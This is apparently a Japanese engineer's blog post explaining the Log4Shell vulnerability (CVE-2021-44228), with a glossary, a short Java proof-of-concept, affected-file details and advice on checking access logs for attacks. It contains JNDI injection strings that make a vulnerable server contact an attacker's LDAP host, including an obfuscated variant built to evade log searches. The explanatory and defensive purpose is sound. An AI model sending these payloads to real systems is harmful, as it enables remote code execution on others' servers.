【図解】Apache Log4jの脆弱性の仕組みと対応の必要性、攻撃有無の確認方法(CVE-2021-44228)

こんにちは、飯塚です。
 
話題になっているApache Log4jの脆弱性(Log4jShell)について社内でも調査をしたので、内容をまとめました。セキュリティの専門家ではないですが、対応に追われているエンジニアのお役に立てば幸いです。
 
今回は用語の正確な使い方よりも、大まかな理解ができることを優先しています。
 
目次

  1. Apache Log4jの脆弱性を理解するためのキーワード
  2. 【図解】脆弱性が発生する仕組み
  3. CVE-2021-44228 再現サンプルコード(PoCコード)
  4. 脆弱性の原因箇所はlog4j-core-2.x.jar
  5. Log4jの2.x系だけでなく1.x系の使用有無も要確認
  6. サンプルリクエストからログ検索で攻撃有無を確認
  7. まとめ

Apache Log4jの脆弱性を理解するためのキーワード

Apache Log4jの脆弱性に関する用語

用語 意味
Log4j Log for Javaの略。Javaで使用される主要なログ出力用ライブラリの1つ。
Apache 世界的に主要なWebサーバーソフトの1つ。サブプロジェクトとしてLog4jを開発しているので、公式情報はApacheが公開している。
JNDI Java Naming and Directory Interfaceの略。Javaプログラムからキーを指定して、設定ファイルや外部のリソースから値を取得するための標準API
LookUp 一般的には「参照する」という意味。JNDI LookUp機能はログに出力する特定の文字列を、特定の処理を実行するコードに変換する機能
LDAP Lightweight Directory Access Protocolの略。エルダップ。LDAPサーバーは特定のキーに対応する情報を返すサーバーのこと。今回は悪意のあるソースのURLを返却するのに使用される。
Log4Shell / Log4jShell 今回のLog4j 2.x系の脆弱性(CVE-2021-44228)の別名。

脆弱性調査全般に役立つ用語

用語 意味
CVE Common Vulnerabilities and Exposuresの略。共通脆弱性識別子。脆弱性につける一意の識別番号。
CVSS Common Vulnerability Scoring Systemの略。共通脆弱性評価システム。脆弱性の深刻さを0 ~ 10.0で表した指標。本脆弱性は最高スコアの10.0と言われる。
PoCコード Proof-of-Concept(概念実証)コードの略。脆弱性への攻撃を再現するサンプルコードのこと。検索キーワードに含めると具体的な原因を突き止めやすい。

【図解】脆弱性が発生する仕組み


 
Javaのアプリ内にlog4j-core.jarの2.x系を使用していると、悪意あるJavaのプログラムが実行される可能性がある、というのが今回の脆弱性です。
 
脆弱性の原因は、不正アクセスに「${-jndi:ldap://xxx.com/x}」のような文字列が含まれていると、この文字列がそのままログ出力されたときにLDAPサーバーへのアクセスが実行されるためです。
 
ただの文字列ではなく外部へアクセスする処理として読み取ってしまうのがJNDIのLookUp機能です。

CVE-2021-44228 再現サンプルコード(PoCコード)

サンプルコード

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jSample {

	private static final Logger logger = LogManager.getLogger(Log4jSample.class);

    public static void main( String[] args ) {
     // 6u211、7u201、8u191、11.0.1以上のJDKバージョンはデフォルトでfalseなので
        // 今回の脆弱性は起きない
    	System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        // JNDIのLookUp機能により、ただの文字列ではなく外部へのアクセスが実行されてしまう
    	logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
    }
}

logger.errorに「${jndi:ldap://~}」という文字列が埋め込まれることで、攻撃が成立します。エンジニアであれば、PoCコードを読むのが事象を理解するのに一番速いかと思います。
 
pom.xml
   <dependency>
     <groupId>org.apache.logging.log4j</groupId>
     <artifactId>log4j-core</artifactId>
     <version>2.14.1</version>
   </dependency>

脆弱性の原因箇所はlog4j-core-2.x.jar

Apache公式が発表しているように、具体的な原因箇所はlog4j-core.jarの2.x系です。

この脆弱性の影響を受けるのはlog4j-coreJARファイルのみであることに注意してください。log4j-coreJARファイルなしでlog4j-apiJARファイルのみを使用するアプリケーションは、この脆弱性の影響を受けません。

より詳細には脆弱性が存在するソースは、log4j-core-2.x.jar内の下記クラスファイルです。ログ出力時に下記ファイルのメソッドが実行されると、攻撃が成立します。

org/apache/logging/log4j/core/lookup/JndiLookup.class

今回の脆弱性が起こりうるかを調査するには、log4j-core.jarの2.x系を使用有無を調べる必要があります。
Apacheによる脆弱性についての公式のドキュメント

Log4jの2.x系だけでなく1.x系の使用有無も要確認


 
まずは、log4j-core-2.x.jarの使用有無を確認します。使用している場合は早急に対応します。対応方法は下記のIPAのサイトをご覧ください。
IPA Apache Log4j の脆弱性対策について(CVE-2021-44228)
 
log4j-core-2.x.jarではなくlog4j-core-1.x.jarを使用してる場合も、まだ安心できません。1.x系もJNDIを使用している場合は脆弱性が存在する可能性があり、それ以外にも1.x系では同程度の深刻な脆弱性がすでに報告されているためです。
 
例としてCVE-2019-17571があり、「SocketServer.java / SimpleSocketServer.java」を使用している場合、リモートでコードを実行される可能性があります。
CVE-2019-17571とは(NVD)
CVE-2019-17571 PoCコード(WhiteSource Vulnerability Database)
 
そもそも1.x系は脆弱性が発生しても今後サポートしないと発表されているので、最新に切り替えるのが理想ではあります。
 
log4j-core-1.x.jarも使用していない場合は、対応不要です。

サンプルリクエストからログ検索で攻撃有無を確認

攻撃者は下記のような文字列をGETリクエストに埋め込んで送信してくる可能性があります。アクセスログを検索することで、攻撃があったか確認することができます。

${${::-j}ndi:ldap://xxx.xxx.xxx.xxx/securityscan-xxxxxx}

{${::-j}ndi」は「${-jndi」と同じ意味ですが、ログファイルを「jndi」で検索してもヒットしないように攻撃者が細工している例を想定しています。
 
似たような難読化の例は下記から確認できます。
ApacheLog4jの重大な脆弱性の攻撃例
 
securityscan」は攻撃者が正規のセキュリティチェックを装うときに使われることがあるようなので、サンプルに加えました。

まとめ

脆弱性の事象を理解するのに時間がかかったので、今回、記事にまとめました。
 
正確な詳細の情報につきましては、Apacheの公式サイトやIPAが発表しているドキュメントを参照いただければと思います。特にApacheの公式サイトが最も正確で情報が速いです。
 
また、なるべく正しい情報の発信を心がけていますが、脆弱性の対応については責任を負いかねますのでご了承ください。
 
 
 
 
《参考サイト》

記事をシェア
MOST VIEWED ARTICLES